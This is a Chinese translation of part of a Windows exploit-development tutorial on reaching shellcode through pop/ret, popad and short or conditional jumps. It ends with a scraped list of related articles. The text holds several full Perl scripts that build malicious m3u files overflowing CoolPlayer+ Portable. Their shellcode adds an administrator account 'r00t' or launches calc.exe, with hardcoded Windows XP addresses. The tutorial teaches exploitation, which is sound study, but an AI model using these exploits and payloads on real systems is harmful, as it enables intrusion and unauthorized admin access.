    my $eip = pack('V',0x7C924961); # EIP overwrite w/ pop edi pop esi pop ebp from ntdll
    my $junk2 = "x4A" x 12; # simulate unusable address containing junk with 'J'
    my $usable_address = pack('V',0x7C86467B); # jmp esp kernel32.dll
    my $nops = "x90" x 20;
    # XP SP3 add admin user shellcode -- 107 bytes
    # mod'd from original by Anastasios Monachos http://www.exploit-db.com/exploits/15202/
    my $shell = "xebx16x5bx31xc0x50x53xbbxadx23" .
    "x86x7cxffxd3x31xc0x50xbbxfaxca" .
    "x81x7cxffxd3xe8xe5xffxffxffx63" .
    "x6dx64x2ex65x78x65x20x2fx63x20" .
    "x6ex65x74x20x75x73x65x72x20" .
    "x72x30x30x74x20" . # user: r00t
    "x70x77x6ex64" . # pass: pwnd
    "x20x2fx61x64x64x20x26x26x20x6e" .
    "x65x74x20x6cx6fx63x61x6cx67x72" .
    "x6fx75x70x20x61x64x6dx69x6ex69" .
    "x73x74x72x61x74x6fx72x73x20".
    "x72x30x30x74" .
    "x20x2fx61x64x64x00";
    my $sploit = $jmp.$junk.$eip.$junk2.$usable_address.$nops.$shell; # build sploit portion of buffer
    my $fill = "x43" x ($buffsize - (length($sploit))); # fill remainder of buffer
    my $buffer = $sploit.$fill; # build final buffer
    # write the exploit buffer to file
    my $file = "coolplayer.m3u";
    open(FILE, "&gt;$file");
    print FILE $buffer;
    close(FILE);
    print "Exploit file [" . $file . "] createdn";
    print "Buffer size: " . length($buffer) . "n";

    让我们执行生成的m3u文件(从C:)并验证exploit是否有效。

    9afd34513552c29fccf0afc9ac7f57d1.png

    成功!!选择shellcode时要小心谨慎 - 绝对不要在生产环境中运行不受信任的shellcode!这相当于盲目地从不受信任的来源打开可执行文件。在我们讨论如何构建自定义shellcode之前,我们仍然有一些方法可以参考,我建议使用Metasploit来生成shellcode,或者如果您愿意,可以使用Exploit-DB上的shellcode。

    3.POPAD

    popad指令按照以下顺序将EDI,ESI,EBP,ESP,EDX,ECX和EAX(其中ESP被丢弃)简单地弹出堆栈前8个双字(4字节)并进入8个通用寄存器。您可以像使用弹出式视窗一样使用popad指令。比方说,例如,在应用程序崩溃时,您可以控制ESP + 32.找到弹出式弹出式弹出式弹出式弹出式视频序列不太可能。相反,您可以使用指向popad + ret指令的指针覆盖EIP,该指令将弹出堆栈前32个字节(8个dword)并执行堆栈顶部的下一个地址。为此,我们需要找到指向popad + ret序列的地址。

    85ef307c3584baa1bf03301023639d8e.png

    这会返回多个可能的OS模块地址—— 您可能会发现由于访问冲突,有些地址不会执行。我发现至少有一个从ntdll(0x7C93121B)开始工作。

    dd306803a13e00bfb5429e57072b5156.png

    在下面的脚本中,我用这个地址替换了EIP。仅用于演示目的,我还修改了缓冲区以包含每个寄存器的值,以说明popad期间弹出寄存器的顺序。请注意,我制作了ESP + 32不可执行的INT指令来暂停执行并查看寄存器和堆栈的当前状态。

    4e676b7e24bfdb0946f80a3d9e93e155.png

    这里是结果寄存器和堆栈。

    6f34730982e4cc155e43160a86e01cff.png

    如您所见,寄存器从EDI开始自下而上(并放弃ESP)。现在,如果我们替换INT指令ESP $用JMP ESP或致电ESP指令的地址,我们可以继续下面的shellcode的执行。由于我们在ESP中分配的空间有限,我再次选择了一个较小的shellcode示例,这次是一个简单的消息框来证明成功的利用。

    #!/usr/bin/perl
    ###########################################################################################
    # Exploit Title: CoolPlayer+ Portable v2.19.4 - Local Buffer Overflow Shellcode Jump Demo
    # Date: 12-24-2013
    # Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
    # Vulnerable Software: CoolPlayer+ Portable v2.19.4
    # Software Link: http://portableapps.com/apps/music_video/coolplayerp_portable
    # Tested On: Windows XP SP3
    # Based on original POC exploit: http://www.exploit-db.com/exploits/4839/
    # Details: Demo of jumping to shellcode via pop/ret sequence to stack address
    ###########################################################################################
    my $buffsize = 10000; # set consistent buffer size
    my $junk = "x41" x 260; # offset to EIP
    my $eip = pack('V',0x7C93121B); # EIP overwrite w/ popad ret (ntdll)
    my $regs = "x42" x 32; # account for registers populated by popad
    my $esp = pack('V',0x7C86467B); # jmp esp kernel32.dll
    my $nops = "x90" x 20;
    # modified messagebox shellcode from Giuseppe D'Amore
    # http://www.exploit-db.com/exploits/28996/
    my $shell = "x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42" .
    "x08x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03" .
    "x78 x8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8b" .
    "x34xafx01xc6x45x81x3ex46x61x74x61x75xf2x81x7e" .
    "x08x45x78x69x74x75xe9x8bx7ax24x01xc7x66x8bx2c" .
    "x6fx8bx7ax1cx01xc7x8bx7cxafxfcx01xc7x68x4fx46" .
    "x21x01x68x61x64x20x42x68x20x50x6fx70x89xe1xfe" .
    "x49x0bx31xc0x51x50xffxd7";
    my $sploit = $junk.$eip.$regs.$esp.$nops.$shell; # build sploit portion of buffer
    my $fill = "x43" x ($buffsize - (length($sploit))); # fill remainder of buffer
    my $buffer = $sploit.$fill; # build final buffer
    # write the exploit buffer to file
    my $file = "coolplayer.m3u";
    open(FILE, "&gt;$file");
    print FILE $buffer;
    close(FILE);
    print "Exploit file [" . $file . "] createdn";
    print "Buffer size: " . length($buffer) . "n";

    并运行生成的m3u文件。

    bbc1ec353cc36cf301f4ca115f55bb01.png

    除了使用EIP覆盖(或其他指令地址),您还可以将popad直接并入您的缓冲区shellcode以用作跳转代码并完成相同的操作。popad指令的操作码是 x61。在这里,我修改了脚本来做到这一点。

    7cd4cdc07e0ac3ab239c54eef733346e.png

    请注意跳转代码($ jmp),它首先执行popad,然后跳转到esp - 相当于popad + ret。由于这个特定的演示漏洞利用我们的缓冲区覆盖了大部分堆栈,我还必须包含一个变量$ reg,其中包含将由popad写入寄存器的28个字节的数据(4个字节用于ESP)。这个版本基本上和我们在前面例子中调用的popad + ret指令集一样,因此它产生了相同的结果:

    db74aa1410cce93016506530483c604d.png

    4.近/短和有条件的跳转

    通过在我们的漏洞中引入无条件和有条件的跳转,我们可以跳转到缓冲区的不同部分来到达我们的shellcode。

    一个near jump是跳转到位于在当前代码段内的CPU指令。

    short jump是一种类型的近跳转了在范围限于从-128到+ 127(从当前EIP)的。

    要执行无条件短跳转,只需使用操作码 xeb xXX,其中XX是要跳转的字节数。

    正向(向前)短跳转对于00到7F的XX有可能的十六进制值,对于从80到FF的负跳转(反向)短跳转有可能。换句话说,20字节的前向跳转是 xeb x14并且向后跳转20个字节是 xeb xea。

    向前跳跃很容易理解:14十六进制= 20十进制。

    但是后退跳转 - EA十六进制= 234十进制。

    那是对的?对于向后跳跃,你必须做一些简单的数学。下面是我如何得到 xea。

    首先,采取你想要的后跳时间,并添加2.为什么?因为跳转的字节数始终始于跳转后的字节。由于这是一个向后跳转,因此浪费了2个额外的字节跳回自身。所以如果我们想要向后跳20个字节,我们应该确实跳过22.现在执行以下操作:

    Convert 22 to binary:0001 0110
    Subtract 1 0001 0101
    Invert1110 1010 = 0xEA

    如果你想读更多关于跳跃和计算负向/反向跳转后面的2的补充数学,看看这个页面。让我们尝试几个简短的跳转。为此,我们将更新我们的原始代码,用正向短跳转代替add ebx跳转代码。在下面的代码中请注意,我将缓冲区的$垃圾部分更改为所有NOP,并将跳转代码放在$ junk之后。由于EBX指向我们shellcode的开头,所以当我们执行CALL EBX指令($ eip)时,它会将我们引入NOP中,这会跳到短跳转,跳过EIP并进入我们的NOP / shellcode。

    如下图所示:

    45751604c34a215ff3bce036ae30ec15.png

    以下是更新的代码:

    #!/usr/bin/perl
    my $buffsize = 10000; # set consistent buffer size
    my $jmp = "xebx4"; # 4 bytes short jump to hop over EIP and into nops/shellcode
    my $junk = "x90" x (260 - length($jmp)); # nops to slide into $jmp; offset to eip overwrite at 260
    my $eip = pack('V',0x7c810395); # call ebx [kernel32.dll] which points to start of buffer and our jump code
    # no usable application module found
    my $nops = "x90" x 50;
    # Calc.exe payload [size 227]
    # msfpayload windows/exec CMD=calc.exe R |
    # msfencode -e x86/shikata_ga_nai -t perl -c 1 -b 'x00x0ax0dxff'
    my $shell = "xdbxcfxb8x27x17x16x1fxd9x74x24xf4x5fx2bxc9" .
    "xb1x33x31x47x17x83xefxfcx03x60x04xf4xeax92" .
    "xc2x71x14x6ax13xe2x9cx8fx22x30xfaxc4x17x84" .
    "x88x88x9bx6fxdcx38x2fx1dxc9x4fx98xa8x2fx7e" .
    "x19x1dxf0x2cxd9x3fx8cx2ex0exe0xadxe1x43xe1" .
    "xeax1fxabxb3xa3x54x1ex24xc7x28xa3x45x07x27" .
    "x9bx3dx22xf7x68xf4x2dx27xc0x83x66xdfx6axcb" .
    "x56xdexbfx0fxaaxa9xb4xe4x58x28x1dx35xa0x1b" .
    "x61x9ax9fx94x6cxe2xd8x12x8fx91x12x61x32xa2" .
    "xe0x18xe8x27xf5xbax7bx9fxddx3bxafx46x95x37" .
    "x04x0cxf1x5bx9bxc1x89x67x10xe4x5dxeex62xc3" .
    "x79xabx31x6axdbx11x97x93x3bxfdx48x36x37xef" .
    "x9dx40x1ax65x63xc0x20xc0x63xdax2ax62x0cxeb" .
    "xa1xedx4bxf4x63x4axa3xbex2exfax2cx67xbbxbf" .
    "x30x98x11x83x4cx1bx90x7bxabx03xd1x7exf7x83" .
    "x09xf2x68x66x2exa1x89xa3x4dx24x1ax2fxbcxc3" .
    "x9axcaxc0";
    my $sploit = $junk.$jmp.$eip.$nops.$shell; # build sploit portion of buffer
    my $fill = "x43" x ($buffsize - (length($sploit))); # fill remainder of buffer for size consistency
    my $buffer = $sploit.$fill; # build final buffer
    # write the exploit buffer to file
    my $file = "coolplayer.m3u";
    open(FILE, ">$file");
    print FILE $buffer;
    close(FILE);
    print "Exploit file [" . $file . "] createdn";
    print "Buffer size: " . length($buffer) . "n";

    如果您的缓冲区被应用程序分段,则可以使用多个短跳转跳转到您的shellcode。在这种情况下,我们的缓冲区被碎片化,我们需要使用多个短跳转跳过垃圾字符(由 xcc表示)。这是它在堆栈上的样子:

    8a14a668ab7f34c5bcc4081e399b0adf.png

    你可以看到我插入了两个短跳转。就像在最后一个例子中一样,当EIP重定向流回到缓冲区的开始时,NOP将滑向第一个短跳转。这一次,为了跳过EIP和随后的垃圾字符,短跳转是50个字节。这个跳转应该在下一个短跳转处(在几个NOP之前),然后在下一组垃圾字符和我们的NOP / shellcode之间跳100个字节。代码如下:

    #!/usr/bin/perl
    my $buffsize = 10000; # set consistent buffer size
    my $jmp1 = "xebx32"; # 50 byte short jump to hop over EIP and garbage and into next short jump
    my $junk = "x90" x (260 - length($jmp1)); # nops to slide into $jmp; offset to eip overwrite at 260
    my $eip = pack('V',0x7c810395); # call ebx [kernel32.dll] which points to start of buffer and our jump code
    my $garbage1 = "xcc" x 45;
    my $jmp2 = "x90x90x90x90x90x90xebx64"; # 100 byte short jump over garbage 2 and into NOPs/shellcode
    my $garbage2 = "xcc" x 97;
    my $nops = "x90" x 50;
    # Calc.exe payload [size 227]
    # msfpayload windows/exec CMD=calc.exe R |
    # msfencode -e x86/shikata_ga_nai -t perl -c 1 -b 'x00x0ax0dxff'
    my $shell = "xdbxcfxb8x27x17x16x1fxd9x74x24xf4x5fx2bxc9" .
    "xb1x33x31x47x17x83xefxfcx03x60x04xf4xeax92" .
    "xc2x71x14x6ax13xe2x9cx8fx22x30xfaxc4x17x84" .
    "x88x88x9bx6fxdcx38x2fx1dxc9x4fx98xa8x2fx7e" .
    "x19x1dxf0x2cxd9x3fx8cx2ex0exe0xadxe1x43xe1" .
    "xeax1fxabxb3xa3x54x1ex24xc7x28xa3x45x07x27" .
    "x9bx3dx22xf7x68xf4x2dx27xc0x83x66xdfx6axcb" .
    "x56xdexbfx0fxaaxa9xb4xe4x58x28x1dx35xa0x1b" .
    "x61x9ax9fx94x6cxe2xd8x12x8fx91x12x61x32xa2" .
    "xe0x18xe8x27xf5xbax7bx9fxddx3bxafx46x95x37" .
    "x04x0cxf1x5bx9bxc1x89x67x10xe4x5dxeex62xc3" .
    "x79xabx31x6axdbx11x97x93x3bxfdx48x36x37xef" .
    "x9dx40x1ax65x63xc0x20xc0x63xdax2ax62x0cxeb" .
    "xa1xedx4bxf4x63x4axa3xbex2exfax2cx67xbbxbf" .
    "x30x98x11x83x4cx1bx90x7bxabx03xd1x7exf7x83" .
    "x09xf2x68x66x2exa1x89xa3x4dx24x1ax2fxbcxc3" .
    "x9axcaxc0";
    my $sploit = $junk.$jmp1.$eip.$garbage1.$jmp2.$garbage2.$nops.$shell; # build sploit portion of buffer
    my $fill = "x43" x ($buffsize - (length($sploit))); # fill remainder of buffer for size consistency
    my $buffer = $sploit.$fill; # build final buffer
    # write the exploit buffer to file
    my $file = "coolplayer.m3u";
    open(FILE, ">$file");
    print FILE $buffer;
    close(FILE);
    print "Exploit file [" . $file . "] createdn";
    print "Buffer size: " . length($buffer) . "n";

    尽管这里没有真正的实际目的,但我将通过用“ x90 x90 x90 x90 x90 x90 x90 xeb xea ” 替换$ jmp2来表现向后的短跳跃,以表示向后跳跃的有效长度20(技术上来说22是通过跳过本身来丢失2个字节)。这样做应该使我们的INT指令返回20个字节。

    201c8a6f232039b181d8f0d24915be67.png

    有用。对于这个特定的漏洞,再次没有真正的实际目的,但是这些例子应该说明在发现自己处于漏洞需求的情况下短跳转的可能性。条件跳转只是在某些条件满足时采取的近/短跳转,取决于相应标志的状态(请回顾第1部分的EFLAGS寄存器)。

    例如,如果零标志被设置为1,则采取“如果等于跳转”(JE)或“如果跳转为零”(JZ)则跳转。相反,“跳转如果不相等”(JNE)或“跳转如果不是零“如果零标志被设置为0,则采用(JNZ)。该语法类似于常规短跳转,只是使用不同的操作码。JNE的操作码是75,所以向前跳20个字节的指令是 x75 x14。我不会给出另一个条件跳转的演示,因为这个概念与之前的短跳转例子完全相同。

    请记住,因为您可能面临无法使用无条件标准短跳转的情况,因此您必须转向条件跳转。尽管它涵盖了我在这个漏洞利用开发系列中尚未涉及的主题,但如果您想要一个真实的例子说明为什么在构建漏洞利用时您可能需要使用条件跳转,请查看此页面。下面是可用的条件跳转及其相应的操作码和状态标志的一个很好的参考:

    http : //www.unixwiz.net/techtips/x86-jumps.html

    结论

    我希望Windows漏洞利用系列文章中的这一部分清楚地说明了使用各种跳转技术访问shellcode的一些方法,包括操纵寄存器和堆栈的内容以及使用无条件跳转或条件跳转。请记住,这不是一个详尽的可能性列表,您可能会发现在构建漏洞利用时使用这些跳跃技术的各种组合。

    本文由看雪翻译小组 五千年木 编译

    来源:Mike Czumak@securitysift

    原文链接:https://bbs.pediy.com/thread-225847.htm

    转载请注明来自看雪社区

    更多阅读:

    LINUX0.11缓冲区机制详解

    pwnable.kr horcruxes ROP利用

    使用模拟器进行x64驱动的Safengine脱壳+导入表修复

    记一次蔓灵花APT组织针对巴基斯坦定向攻击的样本分析

    展开全文
  • 1、前言欢迎来到Windows漏洞利用开发系列文章的第1部分。在第一部分中,我将介绍一些为了更好的理解未来文章内容所需的基础知识,包括一些汇编语法,Windows内存布局以及调试器的使用。当然这里并不会面面俱到,所以...
  • 翻过国外的一个二进制漏洞学习教程, 非常适合刚学习漏洞的新人。
  • 1、前言欢迎来到Windows漏洞利用开发系列文章的第1部分。在第一部分中,我将介绍一些为了更好的理解未来文章内容所需的基础知识,包括一些汇编语法,Windows内存布局以及调试器的使用。当然这里并不会面面俱到,所以...
  • 高级Windows利用开发资源 一些资源,链接,书籍和论文主要与Windows Internals和Windows内核相关。我最喜欢看的谈话和视频。 :warning:这些都是我个人使用并经历过的资源 真正重要的资源 必须看/读(如果可以选择...
  • 系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文介绍了Windows远程桌面服务漏洞(CVE-2019-0708),该...
  • windows二进制安全研究,漏洞利用是提现一个人段位的名片。windows二进制漏洞入门包含了。https://www.kanxue.com/book-42.htm1.简单栈溢出利用2.gs保护绕过利用。包含:攻击seh绕过gs;攻击虚函数表绕过gs3.aslr...
  • 系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文介绍了MS08-067远程代码执行漏洞(CVE-2008-4250),它...
  • 在正常情况下,您可能不会从事漏洞利用开发工作,您可能必须加入政府或将其作为一种业余爱好。 漏洞利用开发可教您如何破坏软件,因此,如果您想成为软件安全研究人员,这是一项很棒的技能! 它教您如何开发软件,...
  • 概观欢迎来到我的Windows漏洞利用开发系列的第2部分。在第一篇文章中,我介绍了一些基本概念,在继续第2部分及其后续部分应该掌握这些基本概念。如果你还没有这样做,我建议看看第一篇文章,以确保你牢牢掌握所有...
  • 通过使用Kali主机扫描工具Nmap和漏洞利用工具Msf来发现目标主机的系统漏洞和软件服务漏洞。因为很多教程只说了用什么漏洞去攻击,但是前提是该主机存在漏洞或者是该漏洞未被安装补丁(该Kali已经实体化在笔记本电脑...
  • 作者最近一直在学习Windows漏洞利用,包括Msfconsole渗透工具及shell获取,这里我们也回过头来继续分析CVE-2019-0708,利用RDP(EXP)和Metasploit工具反弹shell,并实现Win7远程桌面攻击。希望文章对您有所帮助~
  • 概观欢迎来到我的Windows漏洞利用开发系列的第2部分。在第一篇文章中,我介绍了一些基本概念,在继续第2部分及其后续部分应该掌握这些基本概念。如果你还没有这样做,我建议看看第一篇文章,以确保你牢牢掌握所有...
  • 概观欢迎来到我的Windows漏洞利用开发系列的第2部分。在第一篇文章中,我介绍了一些基本概念,在继续第2部分及其后续部分应该掌握这些基本概念。如果你还没有这样做,我建议看看第一篇文章,以确保你牢牢掌握所有...
  • Windows平台下的漏洞利用与防护 0x00 概述 在过去的二十几年,Windows作为网络安全的主战场之一,攻于防的较量从未停息过。内存破坏漏洞作为研究的重点之一,经历了很多的发展也沉淀了前辈们许多经验和智慧。 本人...
  • 翻译国外的一个二进制漏洞学习教程, 非常适合刚学习漏洞的新人。
  • 翻译国外的一个二进制漏洞学习教程, 非常适合刚学习漏洞的新人。
  • Windows漏洞 大多是预编译的Windows漏洞,主要来自
  • 翻过国外的一个二进制漏洞学习教程, 非常适合刚学习漏洞的新人。
  • 大概四、五年前,看过陈皓的酷壳上面的一篇文章,上面有一句话我一直记得,是关于学习技术的...我觉得对于漏洞利用技术来说也是这样,现有的技术由于历史积攒的原因变的复杂和难以理解,但是如果能追根溯源从源头...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,395
精华内容 1,358
关键字:

windows漏洞利用